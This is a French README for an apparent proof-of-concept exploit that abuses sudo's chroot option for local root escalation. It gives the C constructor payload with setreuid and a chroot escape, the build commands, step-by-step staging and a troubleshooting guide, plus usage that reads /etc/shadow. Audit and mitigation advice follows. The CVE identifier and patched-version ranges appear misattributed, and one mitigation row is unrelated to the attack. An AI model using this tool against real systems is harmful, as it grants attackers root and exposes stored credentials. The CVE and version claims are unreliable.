
Exploit de preuve de concept pour CVE-2023-42456, démontrant l'escalade de privilèges via le détournement de la bibliothèque NSS de sudo par injection chroot. Comprend la détection automatisée de version, la génération de payloads et l'évasion chroot pour les tests de sécurité autorisés.
Auteur : 0xb0rn3 | 0xbv1
Type : Outil de recherche en sécurité, Proof of Concept (PoC)
CVE : CVE-2023-42456
Technique : injection de bibliothèque NSS via sudo -R chroot → escalade de privilèges vers root
Cet outil est développé pour les tests de pénétration autorisés et la recherche en sécurité éducative uniquement. Exécutez-le exclusivement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Le(s) auteur(s) décline(nt) toute responsabilité en cas d'utilisation abusive. L'utilisation non autorisée est illégale.
Xpl0it est une preuve de concept qui exploite un défaut du modèle de confiance dans la façon dont sudo gère le chargement dynamique des bibliothèques NSS (Name Service Switch) lors de l'utilisation de l'option -R (chroot). Sur les versions vulnérables de sudo, un attaquant qui contrôle le répertoire chroot peut empoisonner le fichier nsswitch.conf à l'intérieur pour forcer sudo à charger une bibliothèque partagée malveillante alors qu'il détient encore des privilèges élevés — avant toute perte de crédentiels.
En cas de succès, l'outil vous place dans un shell root ou exécute toute commande que vous spécifiez avec uid=0 gid=0.
Cet outil cible exclusivement CVE-2023-42456. La vulnérabilité existe dans deux branches de version, chacune avec un correctif distinct :
Important : sudo 1.9.17 et ultérieur ne sont pas vulnérables. Des outils et articles précédents ont incorrectement listé la plage comme «1.9.14–1.9.17». Cet outil effectue une détection de version par branche pour éviter les faux positifs.
Les CVE suivantes ne sont pas exploitables via cette technique et sont délibérément exclues pour éviter les faux positifs :
| CVE | Technique | Raison de l'exclusion |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Débordement de tas | Vecteur d'attaque complètement différent |
| CVE-2021-23239 | Condition de course sudoedit | Technique différente |
sudo -R nécessite une directive ChrootDir= explicite dans l'entrée sudoers de l'utilisateur cible. NOPASSWD seul n'accorde pas la permission -R.
Sans ChrootDir, sudo rejette complètement l'option -R :
sudo: you are not permitted to use the -R option with bridge
Une entrée sudoers qui permet cette exploitation doit ressembler à l'une des suivantes :
# Chemin chroot sans restriction (condition d'attaque idéale)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Chroot avec restriction de chemin (l'outil adapte le répertoire de staging automatiquement)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Chemin spécifique (l'outil crée le staging dans le chemin autorisé)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it analyse sudo -l pour ChrootDir avant tout travail de staging et abandonne prématurément avec une explication claire si la permission est absente.
sudo -R bridge bridge
│
├─ sudo appelle chroot("./bridge") ← l'attaquant contrôle ce répertoire
│
├─ sudo doit résoudre les informations de l'utilisateur appelant
│ └─ charge /etc/nsswitch.conf depuis le chroot
│ └─ "passwd: files bridge90"
│ └─ l'éditeur de liens dynamique charge libnss_bridge90.so.2
│ └─ __attribute__((constructor)) se déclenche
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ évasion chroot → exécution du payload
│
└─ shell root généré
Étape 1 — Reconnaissance
Collecte le système d'exploitation, la version du noyau, l'architecture, le contexte utilisateur actuel et tous les chemins de recherche de bibliothèques valides. Détecte les contraintes AppArmor/SELinux et le statut NoNewPrivs — tous peuvent bloquer silencieusement l'exploitation s'ils sont actifs.
Étape 2 — Empreinte de version
Analyse sudo --version et vérifie la plage affectée des deux branches pour CVE-2023-42456 avec une précision au niveau du correctif. Abandonne avec explication si la version est corrigée ou hors plage.
Étape 3 — Vérification de la permission ChrootDir
Analyse sudo -l pour les directives ChrootDir=. Si absentes, abandonne immédiatement. Si restreint à un chemin spécifique, cible automatiquement ce chemin pour le staging afin que sudo accepte l'appel -R.
Étape 4 — Sondage pré-exploitation
Construit un chroot minimal jetable et exécute un appel sudo -R inoffensif avant tout travail de staging réel. Confirme que sudo atteindra la résolution NSS et capture les rejets «non autorisé» tôt.
Étape 5 — Génération du payload
Écrit bridge90.c — une bibliothèque partagée C avec une fonction __attribute__((constructor)) (_nss_bridge90_init) qui se déclenche au moment où l'éditeur de liens dynamique la charge :
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// Évasion chroot : mkdir sous-répertoire → chroot plus profond →
// traverser 40x "../" → ré-ancrer chroot sur / réel
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Étape 6 — Configuration de l'environnement
Construit un chroot convaincant dans le répertoire de staging :
bridge/etc/nsswitch.conf — empoisonné pour charger le service NSS bridge90bridge/<lib_path>/libnss_bridge90.so.2 — le payload, déployé dans tous les chemins de bibliothèque détectés (couverture multilib)bridge/bin/bridge — exécutable factice que sudo doit trouver pour poursuivre après les vérifications pré-exécutionbridge/bin/sh, bridge/bin/bash — shells avec l'interpréteur ELF correct (détecté via readelf -l)bridge/etc/ld.so.conf — couvre tous les chemins de bibliothèque pour que ldconfig -r construise un cache valideÉtape 7 — Compilation
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — pas de code de démarrage par défaut ; le constructeur gère tout-Wl,-soname — SONAME correct pour la résolution de noms NSS-Wl,-init — __attribute__((constructor)) suffit ; ajouter -Wl,-init provoque un double appel et est un bogueAprès compilation, nm -D vérifie que le symbole du constructeur est présent dans la table d'exportation dynamique.
Étape 8 — Exécution
Déclenche sudo -R bridge bridge depuis le répertoire de staging. NSS résout bridge90 → charge notre bibliothèque → le constructeur se déclenche avec des privilèges élevés → l'évasion chroot s'exécute → shell root.
L'implémentation -R de sudo fait confiance au contenu du répertoire chroot dans lequel elle entre. Avant que cela ne soit corrigé, sudo ne validait pas si l'environnement chroot avait été altéré. Puisque l'utilisateur fournissant le chemin chroot contrôle son contenu — y compris nsswitch.conf et les bibliothèques NSS qu'il référence — il peut rediriger le chargement de bibliothèques vers du code arbitraire qui s'exécute avant que sudo n'effectue des baisses de privilèges.
Corriger sudo
Mettez à jour vers 1.9.15p2, 1.9.16p2, ou toute version 1.9.17+. Ces versions valident les environnements chroot avant d'autoriser la résolution NSS à l'intérieur.
# Vérifiez votre version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Auditer les directives ChrootDir
Examinez /etc/sudoers et tous les fichiers dans /etc/sudoers.d/. Supprimez les entrées ChrootDir= sauf si explicitement nécessaires. Restreignez les caractères génériques — préférez ChrootDir=/chemin/spécifique à ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Signatures dans les journaux d'audit
# auditd — détecter les invocations sudo -R (rares en usage légitime)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Indicateurs suspects
sudo -R dans les journaux — l'utilisation légitime en production est extrêmement rare/tmp avec des noms correspondant à sudobridge.*libnss_*.so.2 dans /tmp ou des répertoires accessibles en écriture par l'utilisateurgcc depuis des sessions utilisateur non liées à la constructionsetreuid/setregid provenant de processus non possédés par root# Rendre exécutable
chmod +x Xpl0it
# Accéder à un shell root (par défaut)
./Xpl0it
# Exécuter une commande spécifique en tant que root
./Xpl0it -c "id && cat /etc/shadow"
# Mode débogage — sortie verbeuse, répertoire de staging conservé à la sortie
./Xpl0it -d
# Demander confirmation avant de continuer en cas de désaccord de version
./Xpl0it -v
# Combiner les options
./Xpl0it -v -d -c "/bin/bash"
L'entrée sudoers de l'utilisateur cible doit également inclure ChrootDir= — l'outil vérifie cela automatiquement et échoue rapidement avec une explication si elle est manquante.
Si l'exploitation échoue, exécutez avec -d pour conserver le répertoire de staging et inspectez :
Raisons d'échec courantes :
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2)Les contributions qui améliorent la précision, la portabilité ou la couverture de détection sont les bienvenues. Veuillez garder tout ajout aligné sur les principes de divulgation responsable et les cas d'utilisation de tests autorisés.
Xpl0it est destiné à la recherche en sécurité autorisée uniquement. Obtenez toujours une autorisation écrite explicite avant de tester sur des systèmes que vous ne possédez pas.
| Branche | Vulnérable | Corrigé dans |
|---|
| 1.9.14.x | toutes (1.9.14 – 1.9.14p2) | N/A (toute la branche affectée) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | non affecté | correctif fusionné en amont avant la branche |
| CVE-2021-23240 | Contournement de lien symbolique de rôle SELinux | Technique différente |
| Couche | Action |
|---|
| Correctif | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Supprimer ChrootDir=* ; utiliser uniquement des chemins spécifiques |
| MAC | Profils AppArmor/SELinux bloquant les dlopen() non fiables |
| Système de fichiers | Monter /tmp et les répertoires utilisateur avec noexec,nosuid |
| IMDSv2 | Sur les instances cloud, exiger un accès aux métadonnées par jeton |
| Surveillance | Alertes auditd sur les invocations sudo -R |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS empêche setreuid() de fonctionner |
| Drapeau | Description |
|---|
-c, --command <cmd> | Commande à exécuter après escalade (par défaut : /bin/bash) |
-d, --debug | Sortie de débogage verbeuse ; conserve le répertoire de staging à la sortie |
-v, --verbose | Demander confirmation avant de continuer si la version est hors de la plage affectée |
-h, --help | Afficher l'aide |
--version | Afficher la version |
| Dépendance | Requis | Objectif |
|---|
gcc | Oui | Compiler la bibliothèque partagée NSS sur la cible |
sudo | Oui | Binaire cible |
ldconfig | Oui | Construire ld.so.cache dans le chroot |
readelf | Oui | Détecter le chemin de l'interpréteur ELF |
grep, awk, sed, find | Oui | Utilitaires standard |
strace, ltrace, gdb | Optionnel | Débogage amélioré |
nm | Optionnel | Vérification du symbole du constructeur |
| Vérification | Chemin | Que rechercher |
|---|
| Journal de compilation | $STAGE/logs/compile.log | Erreurs gcc |
| Journal ldconfig | $STAGE/logs/ldconfig.log | Erreurs de construction du cache |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Bibliothèque | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | doit exister |
| Sudoers | sudo -l | doit afficher ChrootDir= |
| Erreur | Cause |
|---|
not permitted to use the -R option | ChrootDir= manquant dans sudoers |
| Code de sortie 1, pas d'erreur NSS | La version de sudo est corrigée |
| Bibliothèque ne se charge pas silencieusement | AppArmor/SELinux bloque dlopen() |
setreuid ignoré | NoNewPrivs=1 sur le processus |
| Bibliothèque introuvable | ldconfig -r a échoué et le recours au lien symbolique est insuffisant |